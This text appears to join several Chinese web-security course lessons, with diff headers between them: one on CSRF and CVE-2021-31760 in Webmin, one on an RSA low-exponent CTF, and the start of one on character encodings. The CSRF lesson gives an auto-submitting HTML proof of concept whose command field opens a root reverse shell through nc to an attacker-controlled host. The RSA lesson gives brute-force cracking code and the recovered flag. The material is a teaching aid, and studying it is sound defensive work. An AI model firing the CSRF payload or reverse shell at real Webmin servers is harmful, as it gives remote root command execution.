// The user session is valid, so process the request
// and update the information
update_profile();
这里的PHP代码中是包含了一些保护措施的结合我们前面几节课程学到的内容来看它包含了用户身份的有效性认证阻止了越权访问。但是上述代码并不能够有效地防止CSRF攻击如果攻击者可以构建下面这段代码并且将它托管到某个站点那么当用户保持登录状态并且访问攻击代码页面时就会触发攻击代码
<script>
function attack()
{
form.email = "[email protected]"
form.submit();
}
<script>
<body onload = "attack()">
// ...
</body>
可以看到上述攻击代码包含了用户在使用浏览器时不可见的内容当攻击代码在浏览器中加载时会触发attack函数如果用户在访问受害网站时保持的登录状态受害网站就会收到来自用户的请求请求内容是将E-mail更新为攻击者的邮件地址这样在后续的攻击操作中例如邮件验证码等操作都会发送到攻击者邮箱
通过上述典型的攻击代码我们可以总结出几点CSRF攻击特征
攻击一般发生在跨域场景下主要原因是外域相较于被攻击目标通常安全级别更低攻击者更容易控制
CSRF在攻击过程中事实上并没有获取到用户的登录凭据只是借用户之手发送了恶意的请求
攻击者可以采用的方式有很多图片URL超链接表单提交等许多方式
案例实战
CVE-2021-31760
我为你准备了一份新鲜又甜美可口的漏洞来实际体验CSRF漏洞挖掘过程以及实际利用效果那么不卖关子了直接上漏洞编号——CVE-2021-31760
首先介绍一下WebminWebmin是一个基于Web的系统配置工具它是一款开源工具主要由杰米·卡梅隆Jamie Cameron和Webmin社区进行共同维护Webmin允许用户配置操作系统内部信息例如用户磁盘配额服务或配置文件以及修改和控制开源应用例如Apache http服务器或MySQL等CVE-2021-31760主要影响Webmin 1.973版本通过CSRF漏洞的利用可以实现远程命令执行RCE的效果
该漏洞环境已经在谜团MiTuan上构建完成你可以直接访问谜团搜索CVE-2021-31760进行复现
漏洞挖掘过程
接下来我们进入漏洞挖掘过程来看该漏洞是如何被发现的
首先从官方的GitHub仓库下载1.973版本的源代码官方仓库地址是GitHub - webmin/webmin: Powerful and flexible web-based server management control panel然后进入如下目录选择run.cgi文件打开
hunter@HunterdeiMac ~/Downloads/webmin/proc  vim run.cgi
通过查看程序代码主体可以发现代码中并没有关于访问来源的审计
...
$in{'input'} =~ s/\r//g;
$cmd = $in{'cmd'};
if (&supports_users()) {
defined(getpwnam($in{'user'})) || &error($text{'run_euser'});
&can_edit_process($in{'user'}) || &error($text{'run_euser2'});
if ($in{'user'} ne getpwuid($<)) {
$cmd = &command_as_user($in{'user'}, 0, $cmd);
}
}
if ($in{'mode'}) {
# fork and run..
if (!($pid = fork())) {
close(STDIN); close(STDOUT); close(STDERR);
&open_execute_command(PROC, "($cmd)", 0);
print PROC $in{'input'};
close(PROC);
exit;
}
&redirect("index_tree.cgi");
}
else {
# run and display output..
&ui_print_unbuffered_header(undef, $text{'run_title'}, "");
print "<p>\n";
print &text('run_output', "<tt>".&html_escape($in{'cmd'})."</tt>"),"<p>\n";
print "<pre>";
$got = &safe_process_exec_logged($cmd, 0, 0,
STDOUT, $in{'input'}, 1);
if (!$got) { print "<i>$text{'run_none'}</i>\n"; }
print "</pre>\n";
&ui_print_footer("", $text{'index'});
}
&webmin_log("run", undef, undef, \%in);
通过分析源码我们得知代码没有针对CSRF的保护措施因此我们只需很简单的CSRF构造即可触发该漏洞并且由于该漏洞触发点是run.cgi文件我们可以直接通过CSRF构建RCE远程命令执行这是非常理想的漏洞利用场景
漏洞利用
接下来我们通过构造PoC尝试利用这个漏洞
首先我们来构造一个HTML文件这个HTML的核心目标是进行form表单的自动提交源码如下
<html>
<head>
<meta name="referrer" content="never">
</head>
<body>
<form action="http://your_mituan_app_address/proc/run.cgi" method="POST">
<input type="hidden" name="cmd" value="mkfifo /tmp/378; nc your_ip your_port 0</tmp/378 | /bin/sh >/tmp/378 2>&1; rm /tmp/378" />
<input type="hidden" name="mode" value="0" />
<input type="hidden" name="user" value="root" />
<input type="hidden" name="input" value="" />
<input type="hidden" name="undefined" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
其中主要参数是cmd字段其含义是
创建一个命名管道378
Webmin作为客户端使用nc连接黑客控制的服务端接收命令并通过匿名管道将命令重定向到bash
bash执行服务端发过来的命令将输出重定向到命名管道378并通过命名管道378将输出重定向到nc发送给服务端。
这一条命令实际包含了两条管道一条匿名管道一条命名管道并使其各司其职。它先后将html文件中的your_mituan_app_address、your_ip、your_port替换为谜团启动的应用URL、你的服务器地址、你的服务器IP即可开始CSRF攻击。
让我们看看这次攻击经历了哪些流程首先我们以管理员身份登录Webmin界面在自己的服务器上启动nc进行监听nc -l -p 1337然后使用浏览器直接打开我们创建的HTML页面到这里我们的攻击就已完成服务器上的nc已经接入Webmin服务器的bash可以执行任意命令。
漏洞分析
既然已经成功利用了该漏洞接下来我们就要分析这一类漏洞该如何修复。最简单的方式就是校验这次访问的来源。事实上Webmin已经做了这种防御。你肯定会有疑问为什么做了防御仍然会出现CVE-2021-31760漏洞呢其实这是由于一个配置项引起的在构建Webmin平台的过程中我们对config文件进行了修改
/etc/webmin/config -> referers_none=0
在官方的说明中该项就是在判断不同来源的request能否生效你可以通过如下命令修改配置并重启Webmin服务
// 将referers_none=0修改为referers_none=1
vim /etc/webmin/config
// 重启webmin服务
service webmin restart
再次尝试就会发现该漏洞已经消失了这也是我在追踪这个漏洞时惊讶的点。也许正是这个原因截至写稿时Webmin已经在存在漏洞的版本发布了至少5次更新但是却并没有修复该漏洞。
到这里你肯定更好奇了既然Webmin有相关的保护措施那CVE-2021-31760这个漏洞是否真实存在呢
这是个好问题,我们继续来深挖一下:
首先,该配置项是如何生效的?
通过对源码的追踪分析,我们可以发现存在如下函数调用链:
# run.cgi
# line 5
require './proc-lib.pl';
&ReadParse();
$access{'run'} || &error($text{'run_ecannot'});
...
# proc-lib.pl
# line 9
&init_config();
...
# web-lib-funcs.pl
# line 5142
if (!$gconfig{'referers_none'}) {
# Known referers are allowed
$trust = 1;
}
elsif ($trustvar == 2) {
# Module wants to trust unknown referers
$trust = 1;
}
else {
$trust = 0;
}
}
...
# webmin/web-lib-funcs.pl
# line 5205
# function init_config
...
if (!$trust) {
# Looks like a link from elsewhere .. show an error
$current_theme = undef;
&header($text{'referer_title'}, "", undef, 0, 1, 1);
$prot = lc($ENV{'HTTPS'}) eq 'on' ? "https" : "http";
my $url = "<tt>".&html_escape("$prot://$ENV{'HTTP_HOST'}$ENV{'REQUEST_URI'}")."</tt>";
if ($referer_site) {
# From a known host
print &text('referer_warn',
"<tt>".&html_escape($r)."</tt>", $url);
print "<p>\n";
print &text('referer_fix1', &html_escape($http_host)),"<p>\n";
print &text('referer_fix2', &html_escape($http_host)),"<p>\n";
}
else {
# No referer info given
print &text('referer_warn_unknown', $url),"<p>\n";
print &text('referer_fix3u'),"<p>\n";
print &text('referer_fix2u'),"<p>\n";
}
print "<p>\n";
&footer();
exit;
}
...
至此我们发现referers_none配置项的启用可以影响到run.cgi的工作流程使其对于包含不同referers的http request继续提供支持。
是否该项配置项就足够了呢其实答案是否定的因为CSRF漏洞一般发生在跨域场景但是这句话并不绝对对于同域场景发生的CSRF攻击上述配置项是难以抵御的。虽然同域场景对攻击者的能力有更高的要求但是一旦问题发生我们可以看到root权限级别的RCE仍然是非常恐怖的。
那么如何从开源代码中学习漏洞挖掘以及安全开发呢授人以鱼不如授人以渔这个漏洞的学习除了本身的知识点更重要的是如何通过对一个CVE漏洞的分析去掌握漏洞分析和修复的规律。
在分析一个漏洞时一定要分析清楚函数调用关系清晰地了解输入是经过怎样的过程最终影响到输出的。然后一个有质量的漏洞产品团队一般会在漏洞公布的第一时间进行修复我们可以使用GitHub的版本比对功能拿漏洞出现的版本与修复后版本进行源码比对通过这样的方式可以帮助我们了解优秀的项目是如何解决同类安全问题的。
通过这种方式,我们可以学习到很多优秀宝贵的经验,快速提升我们的开发水平。
防御及检测
根据CSRF的攻击特点我们可以采用以下几种方式进行防御
1. 同源策略
该防御策略的产生主要为了针对CSRF攻击的第一个特征——跨域场景它的设计思路主要是禁止外域或者不受信任的域名对Web Server发起请求。在HTTP协议中有两个Header字段可以用来帮助我们判断来源域Origin Header 和 Referer Header。这两个字段在浏览器发送请求时会自动携带并且不能由前端修改。
你可能会有疑问这两个字段很明显是依赖于浏览器实现的现在浏览器种类那么多如果浏览器不支持怎么办必须承认这是个很好的问题HTTP协议标准本身在动态更新很多比较旧版本的浏览器可能不支持这个Policy如果出现这种情况最好的策略就是阻止这次请求。
2. Token
回顾我们在总结CSRF特点时提到的特征CSRF一般发生在跨域场景下但是并不绝对。如果攻击者是在本域发起的CSRF攻击那么同源策略就会失效因此我们需要一种更严格的防护策略——CSRF Token。
那么CSRF Token如何实现呢为每一个form表单生成唯一的token并且在form提交时验证token就是CSRF Token的实现思路但是token需要保证不可预测。在代码实现上主要有2种思路。
第一种是在用户访问页面时由服务器生成Token将生成的Token存放于Session中一般Token生成时会通过加密算法实现输入一般包括随机字符串、时间戳等要注意Token也会有有效期。
第二种是每次加载页面时通过JS遍历DOM树结构插入Token
GET: http://example.com?csrf_token=value
POST: <input type = "hidden" name = "csrf_token" value = "value"/>
了解了客户端实现之后你肯定自然地想到了后面的问题——服务端收到HTTP请求后怎么验证token的正确性呢
要注意对于分布式Web应用使用Session存储Token会非常不方便所以一般采用中间件存储或者动态计算的方式来优化。中间件存储方案是将Token存储在Redis中间件上这样可以保证不同服务器取得的token值一致动态计算方案是Token的原始输入不再采用随机数而是采用UID等用户信息同时加密算法采用对称加密算法这样可以保证任何一台分布式服务器取到Token后都可以执行解密操作并进行数据正确性比对。
3. 接口设计
对于同源策略的实现是有一些特殊的场景需要被作为例外处理的。按照我们之前的设计用户来自搜索引擎链接的跳转会被无差异判定为CSRF攻击这时我们就要判断特定情况并进行放行处理一般情况下我们都会放行GET请求。但此时如果Web应用实现上允许用户通过GET请求发送敏感操作就会出现安全问题。这提醒我们不要在GET请求中允许用户执行敏感操作。
这里我们可以引入一个更形象的、非技术手段的抵制CSRF的案例——人工形态的CSRF_Token在许多重要的支付环节都需要在最后一步发送手机验证码、邮件验证码或者进行人脸识别其实这就是通过应用流程设计的角度实现的一种CSRF_Token变种验证操作。
现在的防御方案主要考虑的是如何防止跨域的CSRF。因为攻击者无法获取到Token所以大家会普遍认为本域发生的CSRF暂时是安全的。但是如果XSS和CSRF问题同时在本域发生由于XSS可以让攻击者获取TokenCSRF的防御就宣告失效。因此我们需要在Web应用设计和开发过程中严格过滤用户的输入确保用户不能够输入我们不希望出现的内容这样可以同时规避掉XSS和CSRF安全风险。
4. 双重Cookie
在Web应用开发中新增CSRF_Token机制还是稍有些麻烦那么我们该如何通过现有的组件来实现CSRF防御方案呢答案是双重Cookie。
当用户访问Web网站时Web应用为用户随机生成一个新的Cookie值当Web应用每次执行表单提交操作时都需要携带这个Cookie值由于同源策略的保护攻击者无法获取或者修改这个Cookie项因此实现了CSRF的保护。
但要注意的是这项技术需要用到JavaScript因此在一些JavaScript Disabled的浏览器中是无法工作的。
除此以外双重Cookie也面临一些风险。比如本域Web应用存在XSS漏洞该防御将失效。以及为了确保Cookie传输安全需要采用整站HTTPS否则Cookie泄露也会导致该防御失效。
总结
这节课我们探讨了一类主流的安全风险——CSRF首先我们列出了CSRF风险的常见特征首先由于外域更容易被攻击者控制攻击一般发生在跨域场景下其次CSRF在攻击过程中并没有获取到用户的登录凭据只是借用户之手发送了恶意的请求最后攻击者可以采用图片URL、超链接、表单提交等许多方式实现攻击。
然后我们以2021年上半年的一个CSRF RCE漏洞为例对它进行了实例分析这个过程中我们首先完成了对CVE-2021-31760漏洞的复现并针对该漏洞修复方案进行评估然后又通过这个漏洞学习了漏洞挖掘、漏洞分析以及漏洞修复方法。
最后我们给出了一些业内普遍认可的新颖的解决方案供你在工作中使用他们分别是同源策略、CSRF Token、接口设计层保护、双重Cookie和Samesite Cookie
以上就是关于CSRF我们一起学习探讨的内容欢迎大家在评论区留言讨论。什么你说Samesite Cookie没讲那就作为课后作业吧
思考题
为了防御CSRF除了上述安全方案业内提出了一种新的解决方案——Samesite Cookie你可以通过自己的研究讲讲它和双重Cookie的区别吗
欢迎在评论区留下你的思考,我们下节课再见!

View File

@ -0,0 +1,247 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
06 加密失败:使用了加密算法也会被破解吗?
你好,我是王昊天。
从这节课开始我们开启了新的模块——加密失败的学习。这是2021 OWASP TOP 10的排名第二的风险种类与失效的访问控制相比加密失败更多地体现为一种单点技术问题通常是由于开发人员对加密过程使用不合理造成的。
先来分享一个我的小故事:
作为一个Dota 2玩家我有一台自己的Windows台式机配置是i7-4790k + 16GB内存 + 256GB SSD。相信你能看出来虽然这台机器在当时也算小“高端”配置但到现在已经稍微有点力不从心了。
于是我便产生了更新硬件的想法——经过多次测试我觉得性能下降的主要问题在于CPU温度这一想法在我百度了“4790k 散热”之后更加坚定于是我决定用水冷取代原来CPU自带的小风扇。在某东购置了水冷设备后经过简单的安装顺利开机。令人惊讶的一幕出现了原来开机之后CPU温度是70℃现在是99℃由于温度过高开机不到20分钟就会自动关机。
为什么水冷会比风冷效果还差呢?是不是水冷设备没有工作?但我是按照说明书安装的,看起来呼吸灯也是亮的。看着一体化的水冷设备,没有任何有效的判断方式,我的内心是崩溃的。经过接近半天时间的不断调试和开机测试,最终我找到了问题——螺丝没有拧紧导致接触不严密,散热效果没有发挥出来。
分享这个故事,我是想说的是,在面对一个我们完全不了解的黑盒产品时,使用过程中出问题的可能性是很大的,加密失败这种安全风险往往就因此产生。
加密是一个数学问题,应用到了开发场景。事实上,加密函数就像一个黑盒,开发人员能够考虑的只有输入和输出,其中输出还是非常复杂的。加密是否成功,极大地影响着系统的安全性,但是很多开发人员,对加密却没有深入研究。因此,只验证加密结果的正确性,却不验证加密结果的质量是不行的。接下来的几节课我们会重点讨论加密结果的质量问题。
加密失败
在国内的信息安全建设大背景下,系统的数据安全已经愈加重要,其中首先要考虑的就是数据的传输层和存储层的安全。这些环节中主要采用的保护方案就是加密,目前加密已经渗透到了开发的方方面面。也许这样描述你没有直观的感受,那么我们来看一些场景:
目前数据是否是通过明文进行传输的?
目前业务系统中是否存在旧版本或者强度比较低的加密函数?
服务器上的证书是否合法有效,证书信任链是否完整?
加密函数的初始化序列是否被合理使用是否使用了不安全的加密操作比如ECB
随机数是否得到了合理的初始化,以及是否使用了硬编码种子?
加密错误信息或者侧信道信息是否导致密码可破解?
以上这些只是部分场景,可以看到,加密正在成为系统开发不可分割的一部分,那么接下来,我们来就了解一些典型的攻击场景:
1. 数据库加密-
以MySQL为例数据库可以通过其内部加密函数实现数据加密存储然而在数据读取过程中由于经过自动解密过程SQL注入这样的攻击就有可能获取到数据库中的明文。
2. 数据明文传输-
以在企业内网搭建的系统为例由于许多系统并未强制要求TLS因此如果攻击者可以监控内网流量则有可能窃取到网络传输的敏感数据包括登录凭据等。事实上目前攻击者入侵内网设备的情况是很多见的无论是通过脆弱的边界路由设备或是经过存在漏洞的无线网络设备以及通过鱼叉式网络钓鱼攻击者一旦穿越企业的网络防御边界便可通过嗅探、ARP欺骗等方式窃取网络数据进而在内网横向移动。
3. 加密强度不够-
在一些数据存储或者传输过程中,开发者在实现数据加密过程中仅仅“走流程”地进行了加密操作,然而如此加密的强度并不足以抵御攻击者的破解。
4. 弱HASH-
在使用特定算法生成HASH结果的时候如果HASH算法因为设计的缺陷不能满足安全性需求导致攻击者能够判断出原始输入这是原像攻击preimage attack如果攻击者能够找到其他输入并且生成同样的HASH输出这是第二原像攻击2nd preimage attack如果攻击者能够找到多个输入并且生成同样的HASH输出这是生日攻击birthday attack
5. 签名验证不当-
在数据传输过程中,通信协议中会涉及数据段的签名,以此来保证数据的完整性和不可篡改性。在实际数据交互中,有时可能由于签名未认证,有时可能仅验证了签名的有效性,但并没有重新从数据段计算签名进行比对,这些问题都可能导致攻击者执行绕过。
RSA - 低加密指数攻击
RSA算法
在了解这种攻击类型之前我们要先了解RSA算法这是目前应用最广泛的非对称加密算法之一。
我们首先看公式。
plain_text = 明文cipher_text = 密文,(n,e) = 公钥,(n,d) = 私钥-
加密过程plain_text ^ e ≡ cipher_text (mod n)-
解密过程cipher_text ^d ≡ plain_text (mod n)
对于低加密指数攻击,我们已知条件是:
密文cipher_text
公钥:(n,e)。
我们的任务是根据已知条件获取明文plain_text
作为攻击者无论是我们是要尝试挖掘Web系统、二进制应用还是区块链系统或者是其他程序漏洞都需要具备两点前提。一方面你需要判断漏洞是否存在这需要你熟悉目标系统的开发与设计过程深刻理解特定功能的最佳实践。另一方面你需要降低攻击向量空间这就要求你足够了解目标系统的执行逻辑在此基础上有目的地缩小测试范围。
对于低加密指数攻击案例而言如果不理解RSA算法加密过程我们就无法判断漏洞是否存在这是漏洞挖掘黄金法则第一条而执行数学变换进行判断的过程就是在有效地缩小测试范围降低攻击向量空间这是漏洞挖掘法则第二条。这两条适用于许多漏洞挖掘场景。
因此这里我们要先了解RSA原理以及在应用RSA算法过程中的最佳实践以此来判断特定场景是否存在漏洞。
RSA算法工作过程
想象一个这样的场景——数学家小明有一段关键的信息,希望加密后发给历史学家小密。
经过商议小明选择RSA算法加密传递但是由于小明科研经费紧张买不起电脑于是通过手动计算的方式来执行RSA算法。这里小明的主要目标是计算出RSA算法的关键参数——n、e、d我们看看他需要经历哪些步骤。
第一步小明首先随机选择了两个不相等质数prime numberp1和p2p1 = 23p2 = 71实际应用中p1和p2越大破解难度就越高
第二步小明通过计算p1和p2的乘积这里得到了第一个关键参数n n = p1 x p2 = 1633这里n转换为2进制的长度就是我们通常意义上描述的密钥长度。
第三步小明需要获得第二个关键参数e φ(n) = (p1-1) x (p2-1) = 1540在1~φ(n)之间随机选取一个整数使其与φ(n)互质即得到第二个关键参数ee = 19。
第四步他可以通过模逆元计算得出三个关键参数d需要满足的条件是 e x d ≡ 1 (mod φ(n))。
现在小明已经获得所有关键参数他此时只需要将p1、p2销毁自己留存(n,d)组成的私钥,并将(n,e)组成的公钥发给小密即可 。
这里我们来分析一下RSA算法的安全性由于公钥信息是公开的因此我们可以认为n和e是已知的那么是否存在一种可能性是在已知n与e的情况下推导出d呢这里我们首先要分析d的计算过程
根据RSA算法工作过程的第四步我们可以知道e与φ(n)是计算出d的前提e是已知的
根据RSA算法工作过程的第三步我们可以知道p1与p2是计算出φ(n)的前提而n = p1 x p2
那么私钥安全性就依赖于n因数分解的难度。目前数学界对于大整数因数分解并没有很好的解决方案因此RSA的安全性得以保证。
案例实战
接下来我们进入实战环节。登录谜团mituan.zone并选择【RSA - 低加密指数攻击】环境启动后可以在home目录找到flag.enc以及pubkey.pem两个文件。
total 16
-rw-rw-r--@ 1 hunter staff 512 6 2 2019 flag.enc
-rw-rw-r--@ 1 hunter staff 796 6 2 2019 pubkey.pem
通过调用OpenSSL对pubkey.pem进行解析
openssl rsa -pubin -text -modulus -in pubkey.pem
Public-Key: (4096 bit)
...
Exponent: 3 (0x3)
Modulus=B0BEE5E3E9...
...
可以得到n和e其中n = Modulus、e = Exponent这里我们将数值带入后再看一下加密公式
plain_text ^ e ≡ cipher_text (mod n)
其中e、n、cipher_text均是已知的进行一下简单的格式变换可以得出
plain_text = (kn + (cipher_text mod n)) ^ 1/3
有趣的事情出现了在e数值很小的情况下我们是可以尝试暴力破解的。
接下来我们通过代码来实现暴力破解明文:
import os, time
import gmpy2
def main():
start_time = 0
c_time = 0
n = 721059527572145959497866070657244746540818298735241721382435892767279354577831824618770455583435147844630635953460258329387406192598509097375098935299515255208445013180388186216473913754107215551156731413550416051385656895153798495423962750773689964815342291306243827028882267935999927349370340823239030087548468521168519725061290069094595524921012137038227208900579645041589141405674545883465785472925889948455146449614776287566375730215127615312001651111977914327170496695481547965108836595145998046638495232893568434202438172004892803105333017726958632541897741726563336871452837359564555756166187509015523771005760534037559648199915268764998183410394036820824721644946933656264441126738697663216138624571035323231711566263476403936148535644088575960271071967700560360448191493328793704136810376879662623765917690163480410089565377528947433177653458111431603202302962218312038109342064899388130688144810901340648989107010954279327738671710906115976561154622625847780945535284376248111949506936128229494332806622251145622565895781480383025403043645862516504771643210000415216199272423542871886181906457361118669629044165861299560814450960273479900717138570739601887771447529543568822851100841225147694940195217298482866496536787241
k = 0
c_path = os.getcwd()
fname = c_path + "/flag.enc"
print(fname)
f = open(fname, 'rb')
c = f.read()
c_num = int.from_bytes(c, byteorder='big')
mod_num = c_num % n
print('n = ' + str(n))
print('mod = ' + str(mod_num))
start_time = int(time.time())
while True:
c_time = int(time.time())
time_pass = c_time-start_time
if (c_time - start_time) == 10:
print("current k: " + str(k))
start_time = c_time
y = k * n + mod_num
root_num, status = gmpy2.iroot(y,3)
if status == 1:
break
else:
k = k + 1
print('plain_text = ' + str(root_num))
if __name__ == "__main__":
main()
通过约300s的程序运行时间在输出中可以获得plain_text的值
plain_text = 440721643740967258786371951429849843897639673893942371730874939742481383302887786063966117819631425015196093856646526738786745933078032806737504580146717737115929461581126895844008044713461807791172016433647699394456368658396746134702627548155069403689581548233891848149612485605022294307233116137509171389596747894529765156771462793389236431942344003532140158865426896855377113878133478689191912682550117563858186
再通过代码将plain_text值转换为字符
def main():
plain_text = 440721643740967258786371951429849843897639673893942371730874939742481383302887786063966117819631425015196093856646526738786745933078032806737504580146717737115929461581126895844008044713461807791172016433647699394456368658396746134702627548155069403689581548233891848149612485605022294307233116137509171389596747894529765156771462793389236431942344003532140158865426896855377113878133478689191912682550117563858186
plain_text_in_char = []
while plain_text != 0:
plain_text, c = divmod(plain_text, 256)
plain_text_in_char.append(chr(c))
plain_text_in_char.reverse()
print(''.join(plain_text_in_char))
if __name__ == "__main__":
main()
运行上述代码,可以得到如下输出:
Didn't you know RSA padding is really important? Now you see a non-padding message is so dangerous. And you should notice this in future.Fl4g: PCTF{Sm4ll_3xpon3nt_i5_W3ak}
可以看到我们已经成功破解了RSA加密获取到了明文即plain_text。
这里补充一个有趣的知识点RSA属于块加密算法与之相对应的是流加密。块加密是有一个padding机制的正如输出结果中所述这里能够破解成功的另一个主要原因是明文并没有采用padding来补齐块长度如果明文的长度足够长就会使得暴力破解的所需时间快速攀升进而更有效地抵御攻击。
总结
这节课我们首先探讨了在产品开发过程中涉及加密算法的一些常见问题,并列举了一些典型的攻击场景。
接下来的实战案例环节我们通过RSA算法的低加密指数攻击案例学习了RSA加密算法的原理在此基础上我们成功对一段RSA加密结果进行了攻击。通过这个实例可以发现即使是全球闻名的RSA算法如果使用方式不当也存在被破解的可能性。
这个实例其实很有意义,除了本身涉及到的加密知识以外,我们更需要知道的是如何针对一个黑盒系统进行漏洞挖掘,这里要记住两条漏洞挖掘黄金法则:一方面,你需要熟悉目标系统的开发与设计过程,深刻理解特定功能的最佳实践,从而判断漏洞是否存在;另外,你要足够了解目标系统的执行逻辑,有目的性地缩小测试范围,以此来降低攻击向量空间
加密失败风险的出现有很多原因,大部分与我们不合理地使用加密工具有关。那么我们该如何防御呢?
这里我们推荐一些相对抽象的安全建议,供你在工作中参考,具体一些需要详细讨论的部分,我们会在后面几节课程中陆续展开。
首先在数据层面,我们需要对数据进行分类分级,识别出需要重点保护的数据类型,并且不要存储不使用的敏感数据,不被存储的数据是不可能丢失的。
在存储层面,要关闭可能包含敏感数据的缓存功能,还要确保所有的敏感数据在静态存储中都以加密形态存放。
在传输层面我们要确保所有数据传输协议都启用了安全功能比如TLS并且不要使用传统的不安全协议进行敏感数据传输如FTP、SMTP等。
在算法层面我们需要使用标准的加密算法并且保证算法的及时更新合理地管理密钥尤其不要使用已经被验证安全性不足的算法如MD5、SHA1、PKCS 1 v1.5等。
更进一步地,在随机化层面,密钥需要使用密码学算法随机生成,如果要使用一个口令密码,也是要通过口令密码生成函数来产生最终的密钥。除了密钥相关的数据,还要确保密码算法中涉及参数的随机化生成,确保其无法被预测。
思考题
这节课程中我们所编写的低加密指数攻击代码,仍然有进一步优化的空间,你可以提高这段攻击代码的执行效率吗?
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,285 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
07 弱编码:程序之间的沟通语言安全吗?
你好,我是王昊天。
进入了加密失败这个大篇章,我们的第一个话题就是——弱编码。
如果你想了解什么是编码,那么不妨想象一下双十一购物的场景吧。
我们通过电商平台购买了许多零食、家居用品以及二次元手办,一时下单一时爽,一直下单一直爽,于是全国人民都在买买买。这个时候电商平台的难题来了,各式各样的商品要如何送到每个人手里呢?总不能每一种商品打造一条运输线路。
于是快递出现了,通过对不同类型的商品进行方形硬纸盒的封装,既保护了商品在运输中的完整性,又保证了传输的便捷性。
这就是编码的典型场景,在服务端与客户端传输数据的过程中,我们无法确认传输的内容中是否包含传输协议不支持的内容,因此在数据传输之前我们希望通过编码的方式将传输数据进行规范化。
这里一定要注意,编码是不具备保密性的。就像快递小哥只是不想知道包装里面是什么东西,如果他想知道的话,应该是一件不难的事情。
编码
我们来看看维基百科是如何定义编码的:
编码是信息从一种形式或格式转换为另一种形式的过程;解码则是编码的逆过程。
作为一名优雅的开发工程师,或者是一名“大黑客”,掌握多种编码特征都是非常重要的,这一讲,我就来带你进入编码的世界遨游一番。
字符编码
字符编码是把字符集中的字符映射为指定集合中的某一个对象以便文本在计算机中存储或者在网络之间传递。在计算机发展的早期ASCII这样的字符集是字符编码的标准形式但是这些字符集有着很大的局限性比如只适用于英文场景等于是人们开发了许多方法来扩展它们编码的类型也逐步丰富
早期标准ASCII、EBCDIC
西欧标准ISO-8859-1、ISO-8859-5、ISO-8859-6、ISO-8859-7、ISO-8859-11、ISO-8859-15等
DOS字符集CP437、CP737、CP850等
Windows字符集Windows-1250、Windows-1251、Windows-1252等
中文GB2312、GBK等
UnicodeUnicode、UTF-7、UTF-8、UTF-16、UTF-32等
这些字符集有各自的诞生意义和应用场景,在我们日常工作中会经常遇到其中的某一些,这里我们选取几个有代表性的字符集来深入研究。
ASCII-
ASCIIAmerican Standard Code for Information Interchange美国信息交换标准代码是最常用的编码来表示字母、数字以及常用符号。如果你正在使用Mac或者Linux类型系统可以直接使用如下命令来查看所有的ASCII字符
> man ascii
ASCII(7) BSD Miscellaneous Information Manual ASCII(7)
NAME
ascii -- octal, hexadecimal and decimal ASCII character sets
DESCRIPTION
The octal set:
000 nul 001 soh 002 stx 003 etx 004 eot 005 enq 006 ack 007 bel
010 bs 011 ht 012 nl 013 vt 014 np 015 cr 016 so 017 si
020 dle 021 dc1 022 dc2 023 dc3 024 dc4 025 nak 026 syn 027 etb
030 can 031 em 032 sub 033 esc 034 fs 035 gs 036 rs 037 us
040 sp 041 ! 042 " 043 # 044 $ 045 % 046 & 047 '
050 ( 051 ) 052 * 053 + 054 , 055 - 056 . 057 /
060 0 061 1 062 2 063 3 064 4 065 5 066 6 067 7
...
ASCII的一个字符占8位bit第一位总是0这种情况下能够支持2的7次方也就是128个字符其中00100000~01111110之间都是可打印字符。
GB 2312 & GBK-
对于中文来说汉字博大精深区区128个字符肯定是不能够满足我们的需求的于是就诞生了中文编码。考虑到8位编码是远远不够的并且需要与ASCII编码兼容GB2312编码方法应运而生它具有以下特征
使用两个8位来进行编码
0127编号的字符使用ASCII标准编码
两个大于127的字符连在一起时表示一个汉字前一个称为高字节后一个称为低字节。
我们通常所说的全角字符就是双字节字符而单字节字符就是半角字符。但后来发现GB2312的编码仍然不具备表示所有汉字的能力于是我们就对上述第3个条件进行了优化诞生了GBK编码这里K表示“扩展”。优化后第三点特征表示为
允许低字节使用0~127的字符仅凭借高字节判断是否为中文。
GB2312编码示例
你好hello123
\xC4\xE3\xBA\xC3\x68\x65\x6C\x6C\x6F\x31\x32\x33
常见的GBK编码
你好hello123
\xC4\xE3\xBA\xC3\x68\x65\x6C\x6C\x6F\x31\x32\x33
Unicode & UTF-8-
对于全球各国的文字来说ASCII的字符集已经不能满足使用了对于这个问题ISO提出了一个囊括全球所有文字的终极解决方案Unicode。它最初规定所有的字符都是用两个字节来表示这个版本就是UTF-16但是后面发现仍然不够使用于是扩展到四个字节这个版本就是UTF-32。目前最新的Unicode已经支持了emoji表情让我们的文字语言更加丰富且生动。
但是所有的字符都使用Unicode来存储是否会增大存储成本呢毕竟ASCII单字符只占用1个字节GBK也仅仅只占用2个字节如果全部使用UTF-32来表示就意味着至少2倍存储空间的膨胀这时另一个新的编码算法的出现解决了这个问题并成为了在coding过程中广泛使用的编码类型——UTF-8。
UTF-8是一种变长编码比如对于ASCII码它就用1个字节表示面对其他类型的编码就在前面加一个高位字节。通过这种方式它在普遍英文coding但是携带中文注释的环境中就显得非常适合了。
Unicode编码示例
你好hello123
\x00004F60\x0000597D\x00000068\x00000065\x0000006C\x0000006C\x0000006F\x00000031\x00000032\x00000033
TF-8编码示例
你好hello123
\xE4BDA0\xE5A5BD\x68\x65\x6C\x6C\x6F\x31\x32\x33
程序编码
URL 编码-
URL编码又称百分号编码因为它的编码特征是以%开头是不是很形象它主要用于统一资源定位符URL的编码也适用于统一资源标识符URI的编码。URI所允许的字符主要分为保留字符和未保留字符两类保留字符主要是那些具有特殊含义的字符如! * &未保留字符主要指不具备特殊含义的字符如A B C等。
如果一个保留字符在上下文中是有意义的并且需要在URI中按照内容格式进行展示那么该字符就要使用百分号编码。百分号编码首先会把字符的ASCII值表示为两个16进制的数字然后在其前面放置转义字符%对于非ASCII字符则先转换为UTF-8字节序然后再放置转义字符%。
UTF-8格式百分号编码示例
你好hello123
%E4%BD%A0%E5%A5%BDhello123
Base64 编码-
Base64是一种用64个字符来表示二进制数据的方法。由于 64 = 2 ^ 6因此每6位可映射到一个可打印字符又由于每6位等于四分之三字节因此可以简单理解为每四分之三字节映射到一个新的字节这样也就很容易能计算出base64的编码膨胀率。Base64通常用于表示、传输以及存储二进制数据。
